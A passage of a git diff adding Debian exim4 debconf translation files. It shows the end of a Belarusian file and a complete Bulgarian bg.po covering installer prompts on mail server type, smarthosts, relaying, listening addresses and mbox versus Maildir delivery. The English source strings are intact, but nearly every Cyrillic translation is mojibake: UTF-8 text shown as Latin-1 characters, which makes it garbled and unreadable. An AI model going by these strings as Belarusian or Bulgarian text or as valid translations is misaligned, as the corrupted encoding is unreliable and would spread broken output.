+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Пакет exim4 можа выкарыÑтоўваць альбо адзін ÑуцÑльны файл наладак (/etc/"
+"exim4/exim4.conf.template) альбо шÑраг дробных файлаў, пабудаваных на "
+"падÑтаве прыкладна пÑцідзеÑÑці аÑобных шаблонаў з дырÑкторыі /etc/exim4/conf."
+"d."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"СуцÑльны файл наладак больш прыдатны Ð´Ð»Ñ Ð¼Ð°ÑˆÑ‚Ð°Ð±Ð½Ñ‹Ñ… зменаў Ñ– ўвогуле лічыцца "
+"больш прыдатным Ð´Ð»Ñ ÑƒÑтойлівай працы. У той жа Ñ‡Ð°Ñ Ð½Ð°Ð»Ð°Ð´ÐºÐ° шÑрагам дробных "
+"файлаў больш Ð·Ñ€ÑƒÑ‡Ð½Ð°Ñ Ð´Ð»Ñ Ð¼Ð°Ð»ÐµÐ½ÑŒÐºÑ–Ñ… выпраўленнÑÑž, але Ñ‚Ð°ÐºÐ°Ñ ÐºÐ°Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ‹Ñ "
+"больш Ñ…Ñ€ÑƒÐ¿ÐºÐ°Ñ Ñ– Ñе лÑгчÑй зламаць неўважлівым Ñ€Ñдагаваннем. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Больш інфармацыі пра дыÑкуÑÑ–ÑŽ адноÑна двух падыходаў можна знайÑці Ñž "
+"датычных Debian файлах README з дырÑкторыі /usr/share/doc/exim4-base. "
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Хаваць лакальнае Ñ–Ð¼Ñ Ð¿Ð¾ÑˆÑ‚Ñ‹ Ñž зыходзÑчых паведамленнÑÑ…?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Загалоўкі пошты, ÑÐºÐ°Ñ Ð½Ð°ÐºÑ–Ñ€Ð¾ÑžÐ²Ð°ÐµÑ†Ñ†Ð° вонкі, можна змÑніць такім чынам, каб "
+"Ñна выглÑдала згенераванай на іншай ÑÑ–ÑÑ‚Ñме. У гÑтым выпадку значÑнні "
+"'${mailname}','localhost' ды '${dc_other_hostnames}' будуць Ð·Ð¼ÐµÐ½ÐµÐ½Ñ‹Ñ Ñž палÑÑ… "
+"From, Reply-To, Sender ды Return-Path. "
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "фармат mbox у /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Фармат Maildir у хатнÑй дырÑкторыі карыÑтальніка"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "СпоÑаб даÑтаўкі Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ пошты:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim можа захоўваць лакальна даÑтаўленую пошту Ñž розных фарматах. Ðайбольш "
+"чаÑта ўжываюцца mbox ды Maildir. Фармат mbox выкарыÑтоўвае адзін файл Ð´Ð»Ñ "
+"ÑžÑёй паштовай Ñкрынкі, Ñкі будзе захоўвацца Ñž /var/mail. У фармаце Maildir "
+"кожнае паведамленне захоўваецца Ñž аÑобным файле Ñž дырÑкторыі ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Варта звÑрнуць увагу, што большаÑць праграм Ð´Ð»Ñ Ð¿Ñ€Ð°Ñ†Ñ‹ з поштай у Debian "
+"паводле Ñтандартных наладак чакаюць выкарыÑÑ‚Ð°Ð½Ð½Ñ Ñ„Ð°Ñ€Ð¼Ð°Ñ‚Ñƒ mbox Ð´Ð»Ñ Ð»Ð°ÐºÐ°Ð»ÑŒÐ½Ð°Ð¹ "
+"даÑтаўкі пошты. "
diff --git a/debian/po/bg.po b/debian/po/bg.po
new file mode 100644
index 0000000..9a7e676
--- /dev/null
+++ b/debian/po/bg.po
@@ -0,0 +1,809 @@
+# translation of exim4_debian_po_bg.po to Bulgarian
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+# Ognyan Kulev <ogi@fmi.uni-sofia.bg>, 2004.
+# Damyan Ivanov <dam@modsoftsys.com>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-06 13:11+0300\n"
+"Last-Translator: Damyan Ivanov <dam@modsoftsys.com>\n"
+"Language-Team: Bulgarian <dict@fsa-bg.org>\n"
+"Language: bg\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Премахване на неизпратената поща от опашката?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ð’ директориÑта /var/spool/exim4/input/ има поща, коÑто още не е изпратена. "
+"Премахването на Exim ще оÑтави тази поща да чака, докато не инÑталирате Exim "
+"отново."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Ðко изберете да запазите опашката, ÑъобщениÑта в Ð½ÐµÑ Ñ‰Ðµ бъдат доÑтавени при "
+"поÑледваща нова инÑÑ‚Ð°Ð»Ð°Ñ†Ð¸Ñ Ð½Ð° Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ÐаÑтройте exim4-config, а не този пакет"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"КонфигурациÑта на Exim4 е отделена в отделен пакет - exim4-config. Ðко "
+"иÑкате да промените наÑтройките на Exim4, използвайте командата „dpkg-"
+"reconfigure exim4-config“."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Интернет Ñайт; пощата Ñе получава и изпраща чрез SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "пощата Ñе изпраща чрез smarthost; получава Ñе чрез SMTP или fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "пощата Ñе изпраща чрез smarthost; нÑма локална поща"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "Ñамо локална поща; без мрежа"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "без наÑтройка заÑега"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Базова наÑтройка на пощата:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Изберете базова наÑтройка, коÑто най-добре отразÑва Вашите нужди."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"СиÑтемите Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÐ½ IP адреÑ, включително тези, които използват dial-up за "
+"доÑтъп до Интернет, обикновено Ñе наÑтройват да изпращат изходÑщата поща към "
+"друга машина, наричана „smarthost“. Това Ñе прави защото много пощенÑки "
+"ÑиÑтеми в Интернет блокират пощата, приÑтигаща от динамични IP адреÑи като "
+"мÑрка Ñрещу нежелана поща (spam)."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"СиÑтема Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÐ½ IP Ð°Ð´Ñ€ÐµÑ Ð¼Ð¾Ð¶Ðµ да има или да нÑма вътрешна поща "
+"(препоръчително е пощата за „root“ и „postmaster“ да Ñе доÑÑ‚Ð°Ð²Ñ Ð²Ð¸Ð½Ð°Ð³Ð¸ "
+"локално)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "ÐаиÑтина ли желаете да оÑтавите пощенÑката ÑиÑтема без наÑтройка?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ПощенÑката ÑиÑтема ще бъде неизползваема докато не бъде наÑтроена. "
+"ÐаÑтройването може да Ñтане и по-къÑно - ръчно или чрез изпълнение на „dpkg-"
+"reconfigure exim4-config“ като root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "ПощенÑко име на ÑиÑтемата:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"„ПощенÑкото име“ Ñе използва за допълване на пощенÑки адреÑи без домейн."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Това име ще бъде използвано и от други програми и Ñ‚Ñ€Ñбва да бъде пълно име "
+"на домейн (FQDN – Fully Qualified Domain Name)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ðапример, ако даден пощенÑки Ð°Ð´Ñ€ÐµÑ Ð½Ð° този компютър е foo@example.org, то "
+"правилното пощенÑко име е example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ðко пренапиÑването на адреÑите (rewriting) е активирано, това име нÑма да Ñе "
+"показва в редовете From: на изходÑщата поща."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Други направлениÑ, за които да бъде приемана поща:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Въведете ÑпиÑък на домейни, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, за които тази "
+"машина ще бъде Ñчитана за крайна цел. Тези домейни обикновено Ñе наричат "
+"„локални домейни“. Към ÑпиÑъка автоматично Ñе добавÑÑ‚ името на хоÑта "
+"(${fqdn}) и „localhost“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"По подразбиране вÑички домейни Ñе третират еднакво. Ðко например a.example и "
+"b.example за локални домейни, пощата за „acc@a.example“ и „acc@b.example“ ще "
+"бъде доÑтавена на едно и Ñъщо мÑÑто. Ðко различните домейни Ñ‚Ñ€Ñбва да Ñе "
+"третират различно, Ñ‚Ñ€Ñбва ръчно да промените файловете Ñ Ð½Ð°Ñтройките."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Домейни, чиÑто поща да бъде препредавана (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Въведете ÑпиÑък от домейни, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, за които тази "
+"ÑиÑтема ще приема поща за препращане, например като резервен пощенÑки Ñървър "
+"(MX) или пощенÑки шлюз. СиÑтемата ще приема поща за тези домейни от "
+"произволни меÑта в Интернет и ще Ñ Ð´Ð¾ÑÑ‚Ð°Ð²Ñ Ñпоред локално-дефинираните "
+"правила."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Ðе въвеждайте локалните домейни. За група домейни можете да използвате „*“. "
+"Ðапример „*.domain.example“ означава да Ñе приема за препращане пощата, "
+"адреÑирана за вÑеки под-домейн на „domain.example“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Машини, пощата от които да бъде препредавана:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Въведете ÑпиÑък от IP адреÑни диапазони, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ, от "
+"които тази ÑиÑтема да приема и препредава поща, изпълнÑвайки функциите на "
+"smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Използвайте ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð¸Ñ Ñ„Ð¾Ñ€Ð¼Ð°Ñ‚ за адреÑни диапазони „адреÑ/"
+"дължина“ (например 194.222.242.0/24 или 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Ð’ Ñлучай, че тази ÑиÑтема не Ñ‚Ñ€Ñбва да функционира като smarthost на никого, "
+"то оÑтавете полето празно."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Видим домейн за локалните потребители:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"ÐаÑтройката за Ñкриването на локалното пощенÑко име е активирана. Ðеобходимо "
+"е да въведете домейн, който да бъде използван за пощата, изпращана от "
+"локалните потребители."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ име на smarthost за изходÑщата поща:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Въведете IP Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ име на пощенÑки Ñървър (smarthost), който да Ñе "
+"използва за изпращане на изходÑщата поща. Ðко този Ñървър приема поща Ñамо "
+"на порт, различен от TCP/25, добавете две двоеточиÑ, поÑледвани от номера на "
+"порта. (например smarthost.example:587 или 192.168.254.254::2525). "
+"ДвоеточиÑта в IPv6 адреÑите Ñ‚Ñ€Ñбва да Ñе въвеждат по два пъти."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Ð’ Ñлучай, че smarthost-Ñървърът изиÑква удоÑтоверÑваме, допълнителна "
+"Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð·Ð° наÑтройките има във файловете в /usr/share/doc/exim4-base/."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Получател на пощата за root и postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Пощата за „postmaster“ и „root“, както и за други ÑиÑтемни потребители "
+"Ñ‚Ñ€Ñбва да бъде пренаÑочена към админиÑтратора на ÑиÑтемата."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Ðко оÑтавите полето празно, пощата ще бъде запиÑвана във /var/mail/mail, "
+"което не Ñе препоръчва."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Пощата за postmaster обикновено Ñ‚Ñ€Ñбва да бъде четена на ÑиÑтемата, за коÑто "
+"е предназначена, вмеÑто да бъде пренаÑочвана другаде, така че поне един от "
+"потребителите, които Ñте избрали, не Ñ‚Ñ€Ñбва да пренаÑочва пощата Ñи към "
+"друга машина. Използвайте предÑтавката „real-“, за да принудите локално "
+"доÑтавÑне на пощата."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Въведете едно или повече потребителÑки имена, разделени Ñ Ð¸Ð½Ñ‚ÐµÑ€Ð²Ð°Ð»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP адреÑи, на които да Ñе чака за SMTP връзки:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Въведете ÑпиÑък Ñ IP адреÑи, разделени Ñ Ñ‚Ð¾Ñ‡ÐºÐ° и запетаÑ. ПроцеÑÑŠÑ‚ за "
+"приемане на SMTP връзки на Exim ще очаква връзки на вÑички изброени адреÑи."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ðко оÑтавите това поле празно, Exim ще чака за SMTP връзки на вÑички налични "
+"мрежови интерфейÑи."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ðко тази ÑиÑтема получава поща Ñамо от локални уÑлуги като fetchmail или "
+"програми за четене на поща (MUA), които Ñе Ñвързват Ñ localhost, "
+"препоръчително е да забраните външните връзки към Exim чрез въвеждане на "
+"„127.0.0.1“. Това ще забрани връзките от вÑички общодоÑтъпни мрежови "
+"интерфейÑи."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Поддържане на минимален брой на заÑвките към DNS (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Ð’ нормален режим на работа Exim прави заÑвки към DNS при Ñтартиране, при "
+"получаване, при изпращане на поща и Ñ‚.н. Това Ñе прави за целите на "
+"хроникирането и за да Ñе избегне въвеждането на твърдо зададени ÑтойноÑти "
+"във файловете Ñ Ð½Ð°Ñтройки."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ðко ÑиÑтемата ви нÑма поÑтоÑнен доÑтъп до DNS-Ñървър (например ако "
+"използвате dial-up Ñ Ð½Ð°Ð±Ð¸Ñ€Ð°Ð½Ðµ при нужда), това може да има нежелани "
+"поÑледÑтвиÑ. Ðапример Ñтартирането на Exim или обработването на опашката "
+"(дори да е празна) може да предизвика активиране на dial-up-връзката, което "
+"Ñтрува пари."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Изберете тази наÑтройка ако ÑиÑтемата ви използва набиране при нужда (dial-"
+"on-demand). Ðко използвате поÑтоÑнна връзка Ñ Ð˜Ð½Ñ‚ÐµÑ€Ð½ÐµÑ‚, не активирайте тази "
+"наÑтройка."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ÐаÑтройка на пощенÑÐºÐ¸Ñ Ñървър"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "РазделÑне на наÑтройката в малки файлове?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Пакетите на Exim4 могат да използват два подхода към наÑтройката. При "
+"„монолитната наÑтройка“ вÑички параметри Ñа в един голÑм файл (/etc/exim4/"
+"exim4.conf.template). При „разделената наÑтройка“, параметрите Ñа "
+"разпръÑнати в около 50 по-малки файла в /etc/exim4/conf.d."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"ПървиÑÑ‚ вариант е по-добре пригоден за големи промени и като цÑло е по-"
+"Ñтабилен, докато вториÑÑ‚ предлага по-удобен начин да Ñе правÑÑ‚ малки "
+"промени, но е по-капризен и може да доведе до проблеми ако промените Ñе "
+"правÑÑ‚ невнимателно."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"По-подробна диÑкуÑÐ¸Ñ Ð½Ð° двата подхода може да бъде намерена във файловете "
+"README в /usr/share/doc/exim4-base/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Скриване на локалното пощенÑко име в изходÑщата поща?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Заглавките на изходÑщата поща могат да бъдат пренапиÑвани, за да изглеждат "
+"ÑÑкаш Ñа генерирани от друга ÑиÑтема, заменÑйки „${mailname}“, „localhost“ и "
+"„${dc_other_hostnames}“ във From, Reply-To, Sender и Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "формат mbox във /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "формат Maildir в домашната Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ð½Ð° потребителÑ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Ðачин на доÑтавÑне на локалната поща:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim може да доÑÑ‚Ð°Ð²Ñ Ð»Ð¾ÐºÐ°Ð»Ð½Ð°Ñ‚Ð° поща в различни формати. Ðай-разпроÑтранените "
+"Ñа mbox и Maildir. mbox използва един файл във /var/mail/, който Ñъдържа за "
+"вÑички ÑъобщениÑ. При Maildir вÑÑко Ñъобщение Ñе ÑъхранÑва в отделен файл в "
+"~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Имайте предвид, че повечето инÑтрументи за работа Ñ Ð¿Ð¾Ñ‰Ð° в Debian по "
+"подразбиране очакват методът за доÑтавка на локалната поща да е mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "ПремеÑтване на вÑе още неизпратената поща от exim 3 в опашката на exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
